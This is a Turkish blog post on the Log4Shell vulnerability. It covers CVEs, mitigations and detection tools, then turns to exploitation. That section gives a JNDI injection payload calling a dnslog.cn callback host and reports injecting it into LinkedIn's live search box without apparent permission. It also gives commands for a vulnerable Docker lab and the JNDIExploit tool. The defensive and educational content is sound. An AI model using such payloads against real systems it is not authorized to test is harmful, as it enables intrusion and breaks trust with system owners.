Log4j RCE (Log4Shell) Açıklığı & DevSecOps
Log4Shell, Apache Log4j uygulamasının birçok sürümünü etkileyen ciddi bir kritik güvenlik açığı olarak karşımıza çıkmaktadır. Bu güvenlik açıklığı kimliği doğrulanmamış saldırganlar tarafından uzaktan kod yürütülmesine izin vermekte ve sistemlerimizi dışarıya karşı açık hale getirebilmektedir.
Nedir bu Log4j dersek java tabanlı bir log kütüphanesi olup seviye bazlı loglama yapmamızı sağlamaktadır. Mimarıda Ceki GÜLCÜ arkadaşımızdır.
Log4j javada olmasına rağmen diğer programlama “C/C++, C#, Python vs.” dillerine entegre edilebilmektedir. Saldırı vektörünün bu kadar geniş olmasının sebebide aslında budur.
Log4j kütüphanesi, AWS, IBM, Cloudflare, Cisco, iCloud, Logstash, Apache Kafka, Minecraft: Java Edition, Steam ve VMWare gibi en ünlü teknoloji satıcılarının ürünlerinde de kullanılmaktadır.
4 adet CVE Code detayları aşağıda gibidir. İlgili linklere tıklayarak detaylara ulaşabilirsiniz.
CVE-2021–44832 => Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4)
https://cert-portal.siemens.com/productcert/pdf/ssa-784507.pdf
CVE-2021–44228 => ( Base Score = 7.5 High )
CVE-2021–45046 => ( Base Score = 9.0 Critical )
CVE-2021–45105 => ( Base Score = 7.5 High )
CVE-2021–44832 => ( Base Score = 6.6 )
Hadi bakalım şimdi bu açıklık ile ilgili neler yapabileceğimize bakalım. Bu açıklığın bir servis değil uygulama içerisinde kullanılan bir kütüphane olduğunu unutmayalım. Daha çok işimiz var :)
Nereden başlayacağım diye kafası karışık olan arkadaşlarımız varsa aşağıdaki link üzerinde açıklığın versiyonlarına göre birden fazla MindMAP leri kullanabilirsiniz. Yapan arkadaşın ellerine sağlık buradan kendisine teşekkür etmek isterim.
Log4j Mitigation Guidance ( Açıklığın Etkisini Azaltan Önlemler )
İlk olarak en etkili ve uzun vadeli alınacak önlem olarak Log4j kütüphanesini yeni sürüme güncellenmemiz gerekir. Güncellenmenin olmadığı durumlarda aşağıda belirttiğim açıklığın etkisini azaltan önlemleri almamız gerekir. Çalıştığınız kuruma göre yapacaklarınız değişiklik gösterebilir. Bunun için size uygun olan methodları uygulayın.
- Log4j kütüphanesinin devre dışı bırakılması, bu yöntem kontrollü kapalı kalma süresini tercih eden etkili bir önlemdir. Ama operasyonel etkilere neden olabilir ve diğer sorunların görünürlüğünü sınılayabilir.
- JNDI aramalarını devre dışı bırakılması veya uzak kod tabanlarını devre dışı bırakılması, bu seçenek etkili olmakla birlikte, uygulama geliştirici tarafından yapılması gerekir ve işlevselliği bazı durumları etkiliyebilir.
- Etkilenen yığınların ”stacks” bağlantısının kesilmesi, ağlara bağlı olmayan yığınlar “stacks” , saldırı riskini önemli ölçüde azaltır. Yığının diğer ağlar ile bağlantısını geçici olarak kesebilirsiniz.
- Sisteminizi izole edin, Savunmasız bir VLAN oluşturup yığınları “stacks” kurumsal ağın geri kalanından ayırabilirsiniz.
- Çözüm yığınının “stacks” önüne uygun şekilde yapılandırılmış bir Web Uygulaması Güvenlik Duvarı (WAF) koyabilirsiniz, WAF cihazını koymak bu durumu çözmek için yeterli olmaz ama Security Operations Center (SOC ) kısmında çalışanların tam olarak nereye odaklanacağı hakkında bilgi verebilir.
- Mikro yama uygulanması, bu durum için kendi tarafınızda atak vektörünü düşürücü yamalar uygulayabilirsiniz. Bu yamalar mikro yama olarak adlandırılmaktadır. Mikro yamaları kendimiz yazabilir yada bunları yazanları bulup sisteminize entegre edebilirsiniz. Bu yamalar resmi güncellemelerin dışında olmasına rağmen bize geçici olarak çözüm sağlayabilir.
Örnek Mikro Yama
Açıklığı tespit etme araçları
TrendMicro: Log4J Vulnerability Tester
Açıklığı hash olarak tanımlama,
Rob Fuller’s GitHub page: CVE-2021–44228-Log4Shell-Hashes
The NCC Group’s GitHub page: Cyber-Defence/Intelligence/CVE-2021–44228/
Powershell scriptlerle algılama,
Nathan Kula’s GitHub page: PowerShellSnippets/Invoke-Log4ShellScan.ps1
Will Dormann’s GitHub page: checkjndi.ps1
Canary Token kullanma,
Thinkst Canary’s Twitter thread on using Canary Tokens
Burpsuite Pro kullanarak algılama,
Silent Signal’s GitHub page: burp-log4shell
PortSwigger’s GitHub page: active-scan-plus-plus
Nmap kullanarak algılama,
Nmap Scripting Engine (NSE), see Divertor’s GitHub page: nse-log4shell
Roth’s Fenrir araçları ile tespiti,
Florian Roth’s GitHub page, Fenrir 0.9.0 — Log4Shell Release
Aşağıdaki bilgileri kullanarak Log4j RCE (Log4Shell) açıklığının etkisini daha da azaltmanız mümkün !
IOCs (Indicators of Compromise ), Threat Reports, Payload Examples, Threat Profiling, Threat Groups for Log4j (Log4Shell )
Güncel Sömürülebilen Açıklıklar Kataloğu
Ağınızda kullandığınız uygulamaların exploit edilip edilmeyeceğini aşağıdaki link üzerinden güncel istesini bulabilirsiniz. Bir bakın derim bence :)
PDF Dosya linkinde ise uzaktan güvenlik açığına yol açabilecek uygulamalara nasıl müdahale edebileceğimizi anlatan dokümana ulaşabilirsiniz
Log4j Açıklığı ile Sistemi Nasıl Exploit Edebilirim ?
Her şeyi öğrendik şimdi bu açıklığı kullanarak sistemleri nasıl ele geçirebiliriz heyecanlandınız değil mi ?
“Saldırmayı öğrenmeden savunmayı öğrenemezsiniz”
İnternet üzerindeki bot lar bu açıklığı barından sistemleri bulabilmek için sahte bir DNS sunucuya ihtiyaç duyarlar.
Yukarıdaki link’de tam da bu ihtiyacı karşılıyor. Bu sayfaya girerek Get Subdomain butonuna basarak kendinize sahte bir SUB DNS sunucusu oluşturun.
Subdomainimiz oluşturduk.
Linkedin.com web sayfasını test ettiğimde halen bu açıklık vardı. Şimdi tekrar test edelim. Linkedin searchbox içine yazacağımız kod aşağıdaki gibidir. Kod yazıp entera basılır.
${jndi:ldap://XXXXXX.dnslog.cn}
Eğer yazdığımız kod çalışıyorsa linkedin üzerinde bu açıklık var demektir.
Evet linkedin üzerinde açıklık var. Çünkü DNS sunucumuz üzerine bir istek gelmiş ve bir kayıt oluşturulmuş. Nereden mi biliyoruz 108.174.7.183 nolu ip adresinin ipinfo.io adresinden gidip baktığımızda linkedin web sayfasına ait olduğunu görüyoruz.
Biz ne yaptık derseniz durumun özetini PHASE 1 de görülen resimde bulabilirsiniz. DNS sunucuya kayıt oluşturduk ve açıklığı doğruladık.
Peki şimdi ne olacak bundan sonraki aşamaları kendi bilgisayarımızda docker ortamında ayağa kaldırdığımız açıklık barındıran makine üzerinde devam edeceğiz.
Çalıştıracağımız komut açıklık barındıran servisi kendi makinamızda 8080 portu üzerinden hizmete açıyor.
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Tamam herşey yolunda açıklık barındıran sunucu ayağa kalktı. Şimdi bu makinayı exploit etmek için sahte bir LDAP sunucusuna ihtiyacımız var. Bunuda JNDI Injection kullanarak yapabiliyoruz.
JNDI Injection ile ilgili detay bilgiliyi linkten bulabilirsiniz.
Ldap sunucu için gerekli olan JNDIExploit.v1.2.zip dosyasını google üzerinden aratıp indirebilirsiniz.
unzip JNDIExploit.v1.2.zip
cd JNDIExploit.v1.2/
java -jar JNDIExploit-1.2-SNAPSHOT.jar -hJAR dosyası için komut parametreleri
-i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this helpYukarıda verdiğim bilgiler dahilinde aşağıda bulunan github linkinde bu ortamı ayağa kaldırıp nasıl istismar edileceği ayrıntılı olarak gösterilmektedir.
Eğer ağınızda log4j açıklığını tarama yapan zararlılar var mı öğrenmek istiyorsanız tam da bu iş için tasarlanmış honeypot’u kullanabilirsiniz.
Apache Log4j by the Apache Software Foundation
Bu yazımada burada son veriyorum. Umarım yararlı bir yazı olmuştur.
Profilime tıklayarak diğer yazılarıma göz atabilirsiniz.
Kişisel Bloğuma göz atmak isterseniz:
